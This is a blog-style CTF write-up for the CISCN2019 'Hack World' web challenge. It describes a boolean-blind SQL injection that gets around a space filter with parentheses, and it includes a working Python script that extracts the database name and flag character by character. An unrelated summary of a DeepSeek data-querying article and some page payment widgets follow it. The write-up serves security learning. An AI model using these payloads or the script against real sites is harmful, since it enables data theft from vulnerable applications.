[CISCN2019 华北赛区]Hack World 1

[CISCN2019 华北赛区 Day2 Web1]Hack World 1

经过测试为布尔盲注

此例不使用二分法 经过fuzzing测试
ascii没有被过滤,substr也没有!!空格被过滤可以使用()代替,,<>也没有被过滤,=也没有

爆数据库 payload

(ascii(substr(database(),%d,1))=%d)
其中%d为变量

题目提示在flag表中flag字段就是我们想要的东西

构造payload

data = {"id": "(ascii(substr((select(flag)from(flag)),%d,1))=%d)" % (i, j)}

编写python自动化攻击脚本

import requests

url = "http://7bfecddb-1daa-49b4-bec9-49bdc10155d7.node3.buuoj.cn/index.php"

flag = 'Hello, glzjin wants a girlfriend.'

final = ""

for i in range(1, 100):

 stop = 0
 for j in range(32, 129):
     stop = j
     data = {"id": "(ascii(substr(database(),%d,1))=%d)" % (i, j)}
     # data = {"id": "(ascii(substr((select(flag)from(flag)),%d,1))=%d)" % (i, j)}
     re = requests.post(url, data=data).text
     if flag in re:
         final += chr(j)
         print(final)
         break

 if stop >= 128:
     print("*" * 50)
     print(final)
     break

执行脚本 得到flag

内容概要:文章介绍了DeepSeek在国内智能问数(smart querying over data)领域的实战应用。DeepSeek是一款国内研发的开源大语言模型(LLM),具备强大的中文理解、推理和生成能力,尤其适用于企业中文环境下的智能问答、知识检索等。它具有数据可控性强的特点,可以自部署、私有化,支持结合企业内部数据打造定制化智能问数系统。智能问数是指用户通过自然语言提问,系统基于结构化或非结构化数据自动生成精准答案。DeepSeek在此过程中负责问题理解、查询生成、多轮对话和答案解释等核心环节。文章还详细展示了从问题理解、查询生成到答案生成的具体步骤,并介绍了关键技术如RAG、Schema-aware prompt等的应用。最后,文章通过多个行业案例说明了DeepSeek的实际应用效果,显著降低了数据使用的门槛。 适合人群:从事数据分析、企业信息化建设的相关从业人员,尤其是对智能化数据处理感兴趣的业务和技术人员。 使用场景及目标:①帮助业务人员通过自然语言直接获取数据洞察;②降低传统BI工具的操作难度,提高数据分析效率;③为技术团队提供智能问数系统的架构设计和技术实现参考。 阅读建议:此资源不仅涵盖了DeepSeek的技术细节,还提供了丰富的实战案例,建议读者结合自身业务场景,重点关注DeepSeek在不同行业的应用方式及其带来的价值。对于希望深入了解技术实现的读者,可以进一步探索Prompt工程、RAG接入等方面的内容。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值